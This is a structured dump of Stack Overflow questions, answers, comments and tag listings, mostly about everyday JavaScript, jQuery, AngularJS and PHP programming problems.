answers question: http://stackoverflow.com/q/25831980
has comment: http://stackoverflow.com/comment/40527927
has comment: http://stackoverflow.com/comment/40522841
upvote count: 1

http://stackoverflow.com/comment/40440738
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25846898
score: 1
has text: I think that the simpliest approach is to show a loading modal box sizing to whole window. And hide that modal box when finished request.

http://stackoverflow.com/comment/40405180
comment on: http://stackoverflow.com/a/25827408
type: Comment
has text: Why do you imply that jQuery is required?
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40328433
score: 0
type: QuestionComment
type: Comment
has text: @DarylF I like the "video gallery" feature of the plugin and it can automatically pull videos from YouTube which will line up the four upcoming videos below the main one.
comment on: http://stackoverflow.com/q/25785237

http://stackoverflow.com/comment/40464406
comment on: http://stackoverflow.com/q/25859654
score: 0
has text: @charlietfl Ill try it and see
type: QuestionComment
type: Comment

http://stackoverflow.com/a/25730958
has comment: http://stackoverflow.com/comment/40229448
answers question: http://stackoverflow.com/q/25730824
has body: I'm finding that with certain values, it's a penny off. Probably due to floating-point issues. And you shouldn't use parseInt to convert a number - it's meant for strings. this seems awfully repetitive A loop, with a data structure that represent the different coins will help. You already did something like that for your result: coins is an array, not 4 different variables. function makeChange(total, values) { var coins = [], epsilon = 1e-5; // this is wrong in general! // assume values are ascending, so we loop backwards for (var i=values.length; i--; ) { coins[i] = Math.floor(total / values[i].val + epsilon); total %= values[i].val; } return coins; } function showChange(coins, values) { for (var i=values.length; i--; ) { var el = $(values[i].sel); if (coins[i] &gt; 0) { el.html(coins[i] + " "+values[i].name+"."); } else { el.empty(); } } } var values = [ {val:0.01, sel:'.penny', name:"pennies"}, {val:0.05, sel:'.nickel', name:"nickel(s)"}, {val:0.10, sel:'.dime', name:"dime(s)"}, {val:0.25, sel:'.quarter', name:"quarter(s)"} ]; showChange(makeChange(parseFloat($('#total').val()), values), values);
score: 4
upvote count: 4
accepted answer of: http://stackoverflow.com/q/25730824
has comment: http://stackoverflow.com/comment/40229389
type: AcceptedAnswer
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/40229308

http://stackoverflow.com/comment/40338710
has text: Excellent! I love it when a plan comes together. For your future reference, this is my Photoshop scripting "bible"... http://wwwimages.adobe.com/content/dam/Adobe/en/devnet/photoshop/pdfs/photoshop_cs5_javascript_ref.pdf
comment on: http://stackoverflow.com/a/25790460
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/25823334
score: 0
has comment: http://stackoverflow.com/comment/40401092
type: Answer
has comment: http://stackoverflow.com/comment/40399557
has comment: http://stackoverflow.com/comment/40413472
answers question: http://stackoverflow.com/q/25823238
has comment: http://stackoverflow.com/comment/40399703
has comment: http://stackoverflow.com/comment/40399605
has comment: http://stackoverflow.com/comment/40401059
has body: PHP Is executed on the server, your client receives the result as a plain text/html document. Your browser runs the javascript when it received the plain document, so you can't access PHP vars directly with javascript. But you could set javascript variables when the page is generated on the server like this &lt;?php $myPhpVar = 'Hello World'; ?&gt; &lt;script&gt; //This line would result in var test = "Hello World"; when send to client var test = "&lt;?=$myPhpVar?&gt;"; alert(test); &lt;/script&gt; Furthermore you can execute requests to your server with javascript (so you can read the result from test2.php as example, and use that somewhere on your page). http://en.wikipedia.org/wiki/Ajax_(programming) Pure javascript: http://en.wikipedia.org/wiki/XMLHttpRequest var request = new XMLHttpRequest(); request.onreadystatechange = function () { var DONE = this.DONE || 4; if (this.readyState === DONE){ alert(this.readyState); } }; var action = 'doSomethingOnServer'; request.open('GET', 'test2.php?action=' + action, true); request.send(null); Jquery: http://api.jquery.com/jquery.ajax/ &lt;script&gt; var action = 'doSomethingOnServer'; $.ajax({ url: "test2.php?action=" + action, }).done(function(result) { alert(result); }); &lt;script&gt; For testing if your php works on your server create a file info.php (or something). and add this to the file &lt;?php phpinfo(); ?&gt; If you access that page you should get a page with a lot of information about your php configuration. I'm not sure how you did install your php, but on a development machine you can change a few things in your php.ini that makes life easier display_startup_errors = 1 display_errors = 1 error_reporting = E_ALL See http://php.net/manual/en/errorfunc.configuration.php#ini.error-reporting when you change your php.ini don't forget to restart your apache JSON Example: data.php &lt;?php $db_result = array(array('name' =&gt; 'record1'), array('name' =&gt; 'record2')); echo json_encode($db_result); ?&gt; index.php …

http://stackoverflow.com/comment/40489615
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25871457
has text: found this around the web if anyone else comes across this: `die()` is just a shortcut for `echo()` then `exit()`

http://stackoverflow.com/q/25779942
has comment: http://stackoverflow.com/comment/40319795
type: UnansweredQuestion
tagged with: geojson
has comment: http://stackoverflow.com/comment/40323463
type: Question
has comment: http://stackoverflow.com/comment/40323039
has comment: http://stackoverflow.com/comment/40319344
tagged with: google-maps
tagged with: javascript
tagged with: google-maps-api-3
score: 0
has body: I have taken a look at the Google Maps v3 Utility Libraries and found the MarkerClusterer and MarkerManager libraries.However,I am reading and writing data using multiple google.maps.Data layers. Is there any way to perform clustering for POINT features on these layers(which might be loaded dynamically from public sources as well as application data) without converting the data to markers?? Can we do the marker clustering on the server side while loading the data using an AJAX request?
has title: Data Layer based clustering solution
answer count: 1
has answer: http://stackoverflow.com/a/39770025

http://stackoverflow.com/a/25726113
downvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/40219441
has body: You can do it with the native JavaScript .map(): Array.prototype.pluck = function(key) { return this.map(function(object) { return object[key]; }); }; edit &mdash; modifying built-in prototype objects should be done with care; a better way to add the function (should you be OK with the idea of doing so in general) would be with Object.defineProperty so that it can be made non-enumerable: Object.defineProperty(Array.prototype, "pluck", { value: function(key) { return this.map(function(object) { return object[key]; }); } });
has comment: http://stackoverflow.com/comment/40219283
answers question: http://stackoverflow.com/q/25726066
score: 18
upvote count: 19

http://stackoverflow.com/q/25725136
type: AnsweredQuestion
type: Question
has title: Angular increase scope value based on values in ng-repeat
answer count: 1
has comment: http://stackoverflow.com/comment/40217681
tagged with: javascript
has answer: http://stackoverflow.com/a/25725345
has body: I want to increase the amount of a value in $scope by using values in an ng-repeat. I would like to know if this is possible. I have the following Veldnaam: {{field.title}} Grootte in %: I want to get the total width of all the field.width. Thanks
tagged with: angularjs
score: 0
accepted answer: http://stackoverflow.com/a/25725345

http://stackoverflow.com/q/25784241
type: Question
has answer: http://stackoverflow.com/a/25784622
type: AnsweredQuestion
tagged with: ext4
possible better answer: http://stackoverflow.com/a/25784622
answer count: 2
has title: Align one child to left and second to right extjs
downvote count: 0
has answer: http://stackoverflow.com/a/25787453
tagged with: javascript
score: 1
tagged with: extjs
favorite count: 0
accepted answer: http://stackoverflow.com/a/25787453
has body: I have hbox and 2 toolbars inside... I need align first to left and second to right even if first is hidden { layout: 'hbox', items: [ { xtype : 'toolbar', itemId: 'searchToolbar', items : [ ... ] }, { xtype: 'toolbar', items: [ ... ] } ] },
upvote count: 1

http://stackoverflow.com/a/25870693
upvote count: 1
has comment: http://stackoverflow.com/comment/40484086
type: Answer
has comment: http://stackoverflow.com/comment/40483811
has body: You have to bind each radiobutton a click event to make them take action. Just replace first part of your code like below. $("input[type='radio']").change(function () { if ($('#EstimatePolicyNumber').val()) { $('#EstimateRadio').prop('checked', true); $('#estimate').show(); $('#exisiting').hide(); Clear(); } else if ($('#ExisitingPolicyNumber').val()){ $('#ExisitingRadio').prop('checked', true); $('#existing').show(); $('#estimate').hide(); Clear(); } }
score: 1
answers question: http://stackoverflow.com/q/25870306
downvote count: 0
has comment: http://stackoverflow.com/comment/40484623

http://stackoverflow.com/comment/40342571
score: 0
type: Comment
type: QuestionComment
has text: Are you sure server responds to you correctly? Add ["error" callback](http://api.jquery.com/jquery.ajax/) and investigate the issue.
comment on: http://stackoverflow.com/q/25793211

http://stackoverflow.com/q/25726214
answer count: 2
downvote count: 0
duplicate of: http://stackoverflow.com/q/388996
has answer: http://stackoverflow.com/a/25726243
favorite count: 0
has answer: http://stackoverflow.com/a/25726255
possible better answer: http://stackoverflow.com/a/25726255
type: AnsweredQuestion
has body: Using JavaScript, I wanna check if a giving string contains only letters or digits and not a special characters: I find this code which checks if a string contains only letters: boolean onlyLetters(String str) { return str.match("^[a-zA-Z]+$"); } but my string can contain digits too. can you help me? thanks in advance :)
has title: JavaScript: check if a giving string contains only letters or digits
accepted answer: http://stackoverflow.com/a/25726243
type: Question
upvote count: 12
tagged with: javascript
linked to: http://stackoverflow.com/q/388996
score: 12

mithril.js
tags question: http://stackoverflow.com/q/25845110
tag name: mithril.js
type: Tag

http://stackoverflow.com/comment/40403791
has text: You didn't mention that you needed this to work for multiple selects on the same page. Updated answer and fiddle.
comment on: http://stackoverflow.com/a/25816923
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/40371417
type: Comment
comment on: http://stackoverflow.com/a/25809282
score: 0
type: AnswerComment
has text: Making the browser do the work is the best way (you could also use `new URL`), but it looks like you can't assume a protocol will be given

http://stackoverflow.com/a/48217807
has body: When the result is success but you get the "&lt;" character, it means that some PHP error is returned. If you want to see all message, you could get the result as a success response getting by the following: success: function(response){ var out = ""; for(var i = 0; i &lt; response.length; i++) { out += response[i]; } alert(out) ; },
answers question: http://stackoverflow.com/q/25743994
score: 0
type: Answer

http://stackoverflow.com/q/25845485
has body: We have regex to validate URL. I need a regex that will validate against it. Kindly help me in this. URL for proper validation var regexp = /(ftp|http|https)://(\w+:{0,1}\w*@)?(\S+)(:[0-9]+)?(/|/([\w#!:.?+=&amp;%@!-/]))?/ What's for validating against, i.e it should not be a URL.
has comment: http://stackoverflow.com/comment/40438429
has comment: http://stackoverflow.com/comment/40438470
tagged with: javascript
linked to: http://stackoverflow.com/q/161738
has comment: http://stackoverflow.com/comment/40438328
downvote count: 3
has answer: http://stackoverflow.com/a/25845675
answer count: 1
favorite count: 0
type: UnansweredQuestion
score: -3
has comment: http://stackoverflow.com/comment/40438355
has title: Regex to validate against URL
tagged with: regex
upvote count: 0
duplicate of: http://stackoverflow.com/q/161738
has comment: http://stackoverflow.com/comment/40438265
type: Question

http://stackoverflow.com/comment/40431542
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25841288
has text: run after innerHTML: [].slice.call(document.getElementById(placeID).querySelectorAll("script")).map(function(a){(eval)(a.textContent);});

http://stackoverflow.com/comment/40237347
type: Comment
comment on: http://stackoverflow.com/a/25735179
has text: Only if your user has the same user agent as the facebook scraper. Your tracking service has to check the user agent. It should send the 301 redirect only if the user agent is equal to the user agent of the facebook scraper.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40258824
score: 1
comment on: http://stackoverflow.com/q/25747285
type: Comment
has text: why wouldnt you be able to? udp is just another way of sending data. it has no idea what that data might be. but why would use udp for file upload? that is extremely dangerous, since udp doesn't guarantee successfully sending a file (or notifying you that it failed to send.)
type: QuestionComment

http://stackoverflow.com/q/25804745
favorite count: 0
tagged with: webdriver-io
upvote count: 4
has title: How can I change logfile path of phantomjs with selenium?
downvote count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/39855794
tagged with: selenium
type: Question
tagged with: phantomjs
has comment: http://stackoverflow.com/comment/40372415
tagged with: javascript
score: 4
has body: When using phantomjs with selenium, I would like to change the default --webdriver-logfile parameter, that selenium passes to phantomjs. How can I do it? The corresponding line in selenium log: 11:06:06.960 INFO - arguments: [--webdriver=14380, --webdriver-logfile=&lt;ROOT PATH DELETED HERE&gt;/phantomjsdriver.log] Firing up phantomjs in coffeescript: webdriverio = require 'webdriverio' module.exports.World = World = (next) -&gt; @browser = webdriverio.remote({ desiredCapabilities: { browserName: 'phantomjs' "phantomjs.binary.path": "node_modules/phantomjs/bin/phantomjs" }}) .init() next()
has comment: http://stackoverflow.com/comment/40365884
answer count: 1
has comment: http://stackoverflow.com/comment/40365934

http://stackoverflow.com/comment/46527102
has text: Mike, as written your solution won't invoke the render on the select object since you don't use setState(x) function. I modified the code as follows to create a location array, var optionsArray = [];, then update that array, finally after the loop to invoke: this.setState({options:optionsArray});
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/25818571
type: Comment

http://stackoverflow.com/q/25837166
score: 0
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has comment: http://stackoverflow.com/comment/40423860
has comment: http://stackoverflow.com/comment/40424056
has comment: http://stackoverflow.com/comment/40424281
has comment: http://stackoverflow.com/comment/40424156
has comment: http://stackoverflow.com/comment/40423929
has comment: http://stackoverflow.com/comment/40423226
linked to: http://stackoverflow.com/q/25830823
tagged with: angularjs
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/5641997
has comment: http://stackoverflow.com/comment/40424333
tagged with: css
has comment: http://stackoverflow.com/comment/40425053
has comment: http://stackoverflow.com/comment/40423792
has body: Would it be valid html to have AngularJS ng-if directive at the html head and body elements like below? Would it work?
has title: AngularJS directive ng-if at head and body elements
has answer: http://stackoverflow.com/a/25838281
has comment: http://stackoverflow.com/comment/40424067
has comment: http://stackoverflow.com/comment/40423662
has comment: http://stackoverflow.com/comment/40423277
type: Question
tagged with: angularjs-directive
has comment: http://stackoverflow.com/comment/40424014
has comment: http://stackoverflow.com/comment/40424124
has comment: http://stackoverflow.com/comment/40424167
tagged with: javascript
has comment: http://stackoverflow.com/comment/40423946

http://stackoverflow.com/a/25839698
has body: One option is to create a function that you can treat like a class: function flyingObject() { this.$div = []; return { $div: this.$div, animate: animateDiv } //Public Functions function animateDiv(){ var newq = makeNewPosition(); this.$div.animate({ top: newq[0], left: newq[1] }, function(){ this.animate(); this.$div.css("background-color", getRandomColor()); }.bind(this)); }; //Private Functions function makeNewPosition(){ //... }; function getRandomColor() { //... } } and you can instantiate it as such: var div1 = new flyingObject(); div1.$div = $(".flip"); div1.animate(); See Fiddle: http://jsfiddle.net/cLqgs4dn/ Sidenote: since animateDiv is using a callback function, I used bind so that this in the context of the callback function was still the object
answers question: http://stackoverflow.com/q/25839538
score: 0
type: Answer

http://stackoverflow.com/comment/40343640
type: Comment
type: QuestionComment
has text: @Oleg When I started to abandon my 'server-mutates-everything/client-mutates-nothing' approach, and started moving toward [your localstorage demo](http://www.ok-soft-gmbh.com/jqGrid/ColumnChooserAndLocalStorage.htm), I was still trying to use my server's model to generate the initial perm array that would be written out as a js variable. It was not quite right- I think I was ignoring the 'rn' column completely, so, I think my array was one slot short. I do show row numbers on my grid and so 'rn' is visible and was getting weirdly moved around in my grid.
score: 0
comment on: http://stackoverflow.com/q/25731948

http://stackoverflow.com/comment/40354513
comment on: http://stackoverflow.com/a/25799354
score: 0
type: AnswerComment
has text: Can you provide html so I can repeat the issue?
type: Comment

http://stackoverflow.com/a/25751064
type: Answer
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/25750908
upvote count: 2
has body: Since both elements have the same name, they function as a single unit with only one radio button is actually selected at the time when elements are rendered. .input[checked=checked] does not care about results, it just checks the attributes. .input:checked reflect the actual element state. Change names to differ, and both queries will return 2.

http://stackoverflow.com/q/25806608
score: 393
has answer: http://stackoverflow.com/a/79038275
has answer: http://stackoverflow.com/a/52832879
has answer: http://stackoverflow.com/a/56439605
linked to: http://stackoverflow.com/q/57102502
tagged with: single-page-application
has answer: http://stackoverflow.com/a/29765363
has answer: http://stackoverflow.com/a/79254399
has title: How to Detect Browser Back Button event - Cross Browser
tagged with: cross-browser
accepted answer: http://stackoverflow.com/a/25806609
has comment: http://stackoverflow.com/comment/99876952
has comment: http://stackoverflow.com/comment/128787947
has answer: http://stackoverflow.com/a/74904751
has answer: http://stackoverflow.com/a/65902479
has answer: http://stackoverflow.com/a/70833355
has comment: http://stackoverflow.com/comment/120046227
type: AnsweredQuestion
tagged with: back
has answer: http://stackoverflow.com/a/56653850
possible better answer: http://stackoverflow.com/a/37115083
has answer: http://stackoverflow.com/a/75905363
has answer: http://stackoverflow.com/a/54935752
has answer: http://stackoverflow.com/a/37115083
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/70665701
linked to: http://stackoverflow.com/q/8980255
has answer: http://stackoverflow.com/a/49833842
has answer: http://stackoverflow.com/a/53480677
linked to: http://stackoverflow.com/q/1495219
has answer: http://stackoverflow.com/a/51388859
has comment: http://stackoverflow.com/comment/135327920
has answer: http://stackoverflow.com/a/77625597
has answer: http://stackoverflow.com/a/45816291
has body: How do you definitively detect whether or not the user has pressed the back button in the browser? How do you enforce the use of an in-page back button inside a single page web application using a #URL system? Why on earth don't browser back buttons fire their own events!?
answer count: 25
has answer: http://stackoverflow.com/a/25806609
has answer: http://stackoverflow.com/a/77339854
has answer: http://stackoverflow.com/a/40135946
has answer: http://stackoverflow.com/a/37187185
tagged with: progressive-web-apps
has answer: http://stackoverflow.com/a/55421134
upvote count: 394
has comment: http://stackoverflow.com/comment/136344138
linked to: http://stackoverflow.com/q/15896434
tagged with: javascript
has answer: http://stackoverflow.com/a/42295720
has answer: http://stackoverflow.com/a/60028685
favorite count: 0

http://stackoverflow.com/a/25820493
type: Answer
has body: In asp.net there is inbuilt property called CssClass, you can use that. Here is the example how to use that: CSS: &lt;style type="text/css"&gt; .lnkStyle { color: Red; font-size: 14; } &lt;/style&gt; HTML: &lt;asp:LinkButton ID="lnkButton" runat="server" Text="Sample Link" CssClass="lnkStyle"&gt;&lt;/asp:LinkButton&gt; Best thing is that you can use and apply same class to multiple asp.net control using same way same class. Hope it helps!
answers question: http://stackoverflow.com/q/25820128
score: 0

http://stackoverflow.com/comment/40266733
has text: I thought a 2d array would be sufficient, but it appears not.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25751430

http://stackoverflow.com/comment/40561343
comment on: http://stackoverflow.com/a/25867446
type: AnswerComment
type: Comment
has text: Thanks...i have added point.y:.1f ....now i changed to this point.y ...its showing the exact value
score: 1

http://stackoverflow.com/comment/40267269
type: QuestionComment
score: 1
type: Comment
comment on: http://stackoverflow.com/q/25751642
has text: If we help you solve your problem, the link will point to working code. How is anyone reading this in the future supposed to understand the problem and see how this fixed it?

angularjs
tags question: http://stackoverflow.com/q/25753219
tags question: http://stackoverflow.com/q/25872345
tags question: http://stackoverflow.com/q/25726555
tags question: http://stackoverflow.com/q/25804058
tags question: http://stackoverflow.com/q/25749515
tags question: http://stackoverflow.com/q/25798160
tags question: http://stackoverflow.com/q/25785149
tags question: http://stackoverflow.com/q/25742649
tags question: http://stackoverflow.com/q/25866121
tags question: http://stackoverflow.com/q/25833675
tags question: http://stackoverflow.com/q/25784935
tags question: http://stackoverflow.com/q/25835445
tags question: http://stackoverflow.com/q/25751800
tags question: http://stackoverflow.com/q/25852911
tags question: http://stackoverflow.com/q/25770349
tags question: http://stackoverflow.com/q/25865958
tags question: http://stackoverflow.com/q/25848864
tags question: http://stackoverflow.com/q/25769647
tags question: http://stackoverflow.com/q/25792312
tags question: http://stackoverflow.com/q/25830823
tags question: http://stackoverflow.com/q/25839362
tags question: http://stackoverflow.com/q/25846501
tags question: http://stackoverflow.com/q/25742582
tags question: http://stackoverflow.com/q/25769365
tags question: http://stackoverflow.com/q/25872280
tags question: http://stackoverflow.com/q/25725669
tags question: http://stackoverflow.com/q/25855384
tags question: http://stackoverflow.com/q/25809579
tags question: http://stackoverflow.com/q/25724443
tags question: http://stackoverflow.com/q/25817534
tags question: http://stackoverflow.com/q/25717081
tags question: http://stackoverflow.com/q/25832146
tags question: http://stackoverflow.com/q/25775990
tags question: http://stackoverflow.com/q/25714479
tags question: http://stackoverflow.com/q/25843646
tags question: http://stackoverflow.com/q/25725081
tags question: http://stackoverflow.com/q/25801899
tags question: http://stackoverflow.com/q/25766992
tags question: http://stackoverflow.com/q/25718331
tags question: http://stackoverflow.com/q/25795812
tags question: http://stackoverflow.com/q/25762973
tags question: http://stackoverflow.com/q/25781495
tags question: http://stackoverflow.com/q/25839501
tags question: http://stackoverflow.com/q/25735594
tags question: http://stackoverflow.com/q/25723455
tags question: http://stackoverflow.com/q/25748001
tags question: http://stackoverflow.com/q/25864576
tags question: http://stackoverflow.com/q/25851313
tags question: http://stackoverflow.com/q/25772403
tags question: http://stackoverflow.com/q/25727603
tags question: http://stackoverflow.com/q/25851450
tags question: http://stackoverflow.com/q/25750655
tags question: http://stackoverflow.com/q/25791966
tags question: http://stackoverflow.com/q/25819195
tags question: http://stackoverflow.com/q/25771419
tags question: http://stackoverflow.com/q/25773611
tags question: http://stackoverflow.com/q/25806876
tags question: http://stackoverflow.com/q/25830115
tags question: http://stackoverflow.com/q/25810187
tags question: http://stackoverflow.com/q/25770218
tags question: http://stackoverflow.com/q/25819353
tags question: http://stackoverflow.com/q/25757947
tags question: http://stackoverflow.com/q/25808748
tags question: http://stackoverflow.com/q/25789458
tags question: http://stackoverflow.com/q/25760227
tags question: http://stackoverflow.com/q/25736411
type: Tag
tags question: http://stackoverflow.com/q/25869559
tags question: http://stackoverflow.com/q/25793883
tags question: http://stackoverflow.com/q/25740324
tags question: http://stackoverflow.com/q/25719572
tags question: http://stackoverflow.com/q/25811889
tags question: http://stackoverflow.com/q/25869454
tags question: http://stackoverflow.com/q/25842593
tags question: http://stackoverflow.com/q/25811180
tags question: http://stackoverflow.com/q/25818908
tags question: http://stackoverflow.com/q/25784439
tags question: http://stackoverflow.com/q/25814916
tags question: http://stackoverflow.com/q/25844447
tags question: http://stackoverflow.com/q/25729547

http://stackoverflow.com/comment/124922300
has text: @LucaKiebel yeah dude, actually I doesn't given explanation because of busy schedule, but I updated my answer at moment. thanks
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/70619741
type: Comment

http://stackoverflow.com/a/25766589
score: 1
has body: Strictly speaking, this isn't jQuery, but every input element has a form attribute which refers back to the form element of which it's a child. So you could use... formID = elements[x].form.id ...to get the ID of the element's parent form. button, fieldset, legend, label, textarea, and select elements also have this attribute. It's in DOM Level 1, so browser support should be nearly universal.
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25764221
upvote count: 1

http://stackoverflow.com/a/25745562
has comment: http://stackoverflow.com/comment/40255495
type: Answer
downvote count: 2
has body: using jQuery, $(document).ready(function() { switch (window.location.pathname) { case '/': $("body").attr('class', '').addClass('homepage'); case '/users/sign_up': $('body').attr('class', '').addClass('contentpage'); } });
upvote count: 1
score: -1
answers question: http://stackoverflow.com/q/25745478

datatables
tags question: http://stackoverflow.com/q/25732674
tags question: http://stackoverflow.com/q/25849461
tags question: http://stackoverflow.com/q/25808731
tags question: http://stackoverflow.com/q/25841598
tags question: http://stackoverflow.com/q/25761209
tags question: http://stackoverflow.com/q/25813843
tags question: http://stackoverflow.com/q/25865546
tags question: http://stackoverflow.com/q/25762720
tags question: http://stackoverflow.com/q/25795747
tags question: http://stackoverflow.com/q/25841735
tags question: http://stackoverflow.com/q/25754726
tags question: http://stackoverflow.com/q/25853345
tags question: http://stackoverflow.com/q/25750934
type: Tag
tags question: http://stackoverflow.com/q/25742133
tags question: http://stackoverflow.com/q/25773830
tags question: http://stackoverflow.com/q/25825903
tags question: http://stackoverflow.com/q/25840542
tags question: http://stackoverflow.com/q/25728709
tag name: datatables
tags question: http://stackoverflow.com/q/25821740
tags question: http://stackoverflow.com/q/25851321

http://stackoverflow.com/comment/40392330
type: Comment
has text: selectedRecord feature object some part is 'hasListeners: n__proto__: n__proto__: n__proto__: n__proto__: c__proto__: Object_decr_: function (h){if(!--this[h]){delete this[h]}}_incr_: function (h){if(this.hasOwnProperty(h)){++this[h]}else{this[h]=1}}__proto__: Objectid: "Rally.domain.v2.0.project.6674950537.PortfolioItem-9470040518"index: 1internalId: "x-gen1079"'
comment on: http://stackoverflow.com/a/25796104
score: 0
type: AnswerComment

http://stackoverflow.com/q/25820677
has body: I'm a familiar person with Angular Js, recently I've seen that in some projects multiple angular modules are created and assembled in main module. The code looks like. angular.module("main",['main.sub1','main.sub2','main.sub2']) angular.module("main.sub1",[]) angular.module("main.sub2",[]) angular.module("main.sub3",[]) My questions are When to approach such fashion of splitting modules ? How it is useful ? Does this affect routing[routeProvider/stateProvider] (since modules are defined differently can i place route provider or state provider for each separately) If i inject a dependency in sub modules are they by default injected in main modules ? I read few blogs but I'm not able to get a clear perception. Can you please guide me through.
type: Question
has answer: http://stackoverflow.com/a/25820846
answer count: 2
tagged with: angular-ui-router
possible better answer: http://stackoverflow.com/a/25820989
has answer: http://stackoverflow.com/a/25820989
tagged with: javascript
has comment: http://stackoverflow.com/comment/57447248
score: 12
accepted answer: http://stackoverflow.com/a/25820846
favorite count: 0
tagged with: angularjs
has title: What is the benefit of using multiple modules in angular?
tagged with: module
downvote count: 1
upvote count: 13
type: AnsweredQuestion

http://stackoverflow.com/q/25819712
favorite count: 0
has body: var nodemailer = require('nodemailer'); var smtpTransport = require('nodemailer-smtp-transport'); var transport = nodemailer.createTransport(smtpTransport({ host: 'mail.mydomain.com', port: 587, secure: true, auth: { user: 'hello', pass: 'thepassword' } })); var mailOptions = { from: 'Tester &lt;test@mydomain.com&gt;', // sender address to: 'someemail@gmail.com', // list of receivers subject: 'Hello', // Subject line text: 'hey', // plaintext body html: 'hey' // html body }; transport.sendMail(mailOptions, function (error, info) { if (error) { console.log(error); } else { console.log('Message sent: ' + info.response); } }); I am trying to connect to my own postfix server to send an email via SMTP. However, when I run this, I get: [Error: 139969407567744:error:140770FC:SSL routines:SSL23_GET_SERVER_HELLO:unknown protocol:../deps/openssl/openssl/ssl/s23_clnt.c:787: ] I'm certain that my SMTP port is 587. I'm certain that I have SSL enabled on my Postfix server. I connect through SSL from my Mail app on the Mac. This is my postfix config: myhostname = mail.mydomain.com myorigin = mail.mydomain.com mydestination = mail.mydomain.com, mydomain.com, localhost, localhost.localdomain relayhost = mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 mailbox_size_limit = 0 recipient_delimiter = + inet_interfaces = all alias_maps = hash:/etc/aliases, regexp:/etc/aliases_regex #alias_database = hash:/etc/aliases smtpd_tls_CAfile=/etc/postfix/tls/startssl-ca-bundle.pem smtpd_tls_cert_file=/etc/postfix/tls/mail.mydomain.crt smtpd_tls_key_file=/etc/postfix/tls/mail.mydomain.key smtpd_use_tls=yes smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache smtpd_tls_security_level=may smtpd_tls_protocols = !SSLv2, !SSLv3 #local_recipient_maps = proxy:unix:passwd.byname $alias_maps milter_default_action = accept milter_protocol = 2 smtpd_milters = inet:127.0.0.1:8891 non_smtpd_milters = inet:127.0.0.…
score: 0
tagged with: nodemailer
tagged with: node.js
type: AnsweredQuestion
has title: Getting SSL error while sending email, can't connect to Postfix
upvote count: 2
downvote count: 2
accepted answer: http://stackoverflow.com/a/25820464
tagged with: postfix-mta
type: Question
tagged with: ssl
answer count: 1
tagged with: javascript
has answer: http://stackoverflow.com/a/25820464

google-chrome
tags question: http://stackoverflow.com/q/25736437
tags question: http://stackoverflow.com/q/25760538
tags question: http://stackoverflow.com/q/25763088
tags question: http://stackoverflow.com/q/25861492
tags question: http://stackoverflow.com/q/25819887
tags question: http://stackoverflow.com/q/25795913
tags question: http://stackoverflow.com/q/25864062
tags question: http://stackoverflow.com/q/25855376
tags question: http://stackoverflow.com/q/25791379
tags question: http://stackoverflow.com/q/25732016
tags question: http://stackoverflow.com/q/25788360
tags question: http://stackoverflow.com/q/25740301
tags question: http://stackoverflow.com/q/25719677
tags question: http://stackoverflow.com/q/25807672
tags question: http://stackoverflow.com/q/25754004
tags question: http://stackoverflow.com/q/25768829
tags question: http://stackoverflow.com/q/25732516
tags question: http://stackoverflow.com/q/25735050
tags question: http://stackoverflow.com/q/25753557
tags question: http://stackoverflow.com/q/25835819
tags question: http://stackoverflow.com/q/25743473
tags question: http://stackoverflow.com/q/25769964
tags question: http://stackoverflow.com/q/25863374
tags question: http://stackoverflow.com/q/25795934
tags question: http://stackoverflow.com/q/25820860
tags question: http://stackoverflow.com/q/25839547
tags question: http://stackoverflow.com/q/25872309
tags question: http://stackoverflow.com/q/25847083
tags question: http://stackoverflow.com/q/25847390
tags question: http://stackoverflow.com/q/25760653
tags question: http://stackoverflow.com/q/25760841
tags question: http://stackoverflow.com/q/25819018
tags question: http://stackoverflow.com/q/25733342
tags question: http://stackoverflow.com/q/25768316
tags question: http://stackoverflow.com/q/25753259
tags question: http://stackoverflow.com/q/25750742
tags question: http://stackoverflow.com/q/25759858
tags question: http://stackoverflow.com/q/25819523
tags question: http://stackoverflow.com/q/25756807
tags question: http://stackoverflow.com/q/25727672
tags question: http://stackoverflow.com/q/25744225
tags question: http://stackoverflow.com/q/25840674
tags question: http://stackoverflow.com/q/25869549
tags question: http://stackoverflow.com/q/25778251
tags question: http://stackoverflow.com/q/25817700
tags question: http://stackoverflow.com/q/25851072
tags question: http://stackoverflow.com/q/25782260
tags question: http://stackoverflow.com/q/25813693
tags question: http://stackoverflow.com/q/25821562
tags question: http://stackoverflow.com/q/25825179
tags question: http://stackoverflow.com/q/25785848
tags question: http://stackoverflow.com/q/25736009
tags question: http://stackoverflow.com/q/25848117
tags question: http://stackoverflow.com/q/25797831
tags question: http://stackoverflow.com/q/25751341
tags question: http://stackoverflow.com/q/25843993
tags question: http://stackoverflow.com/q/25792179
tags question: http://stackoverflow.com/q/25838804
tags question: http://stackoverflow.com/q/25819113
tags question: http://stackoverflow.com/q/25735990
tags question: http://stackoverflow.com/q/25837849
tags question: http://stackoverflow.com/q/25719442
tags question: http://stackoverflow.com/q/25791535
tags question: http://stackoverflow.com/q/25720841
type: Tag
tags question: http://stackoverflow.com/q/25775587
tags question: http://stackoverflow.com/q/25843642
tags question: http://stackoverflow.com/q/25781557
tags question: http://stackoverflow.com/q/25864833
tags question: http://stackoverflow.com/q/25778002
tags question: http://stackoverflow.com/q/25834586
tag name: google-chrome
tags question: http://stackoverflow.com/q/25756415
tags question: http://stackoverflow.com/q/25775862
